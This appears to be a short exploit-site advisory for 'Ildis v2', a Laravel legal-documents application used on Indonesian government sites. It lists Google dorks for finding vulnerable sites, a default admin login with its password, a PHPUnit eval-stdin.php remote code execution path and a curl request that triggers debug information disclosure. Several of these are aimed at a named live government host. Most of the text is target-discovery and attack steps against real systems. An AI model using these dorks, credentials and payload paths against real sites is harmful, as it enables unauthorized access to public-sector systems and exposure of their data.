# Exploit Title : Ildis v2 Applications Multiple Vulnerabilities # Vendor Homepage : http://jdihn.go.id # Discovered By: KimiHmei7 # Author Homepage: https://tegalsec.org https://draxploit.web.id # Framework: Laravel # Google Dork: "ILDIS" site:go.id inurl:?tipe_dokumen= site:go.id inurl:/data_dokumen site:go.id intitle:Signin | ILDIS JDIHN # Vulnerabilities 1. Default Login https://site.go.id/login admin | admin123 2. PHPUnit Remote Code Execution http://jdih.dprd.belitung.go.id//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php (blank, maybe vuln but can't get RCE access. other sites using same path) 3. Laravel Debug Missconfiguration / information disclosure $ curl -d 1=1 http://jdih.dprd.belitung.go.id/ Thanks to DragonXploiter (Haikal)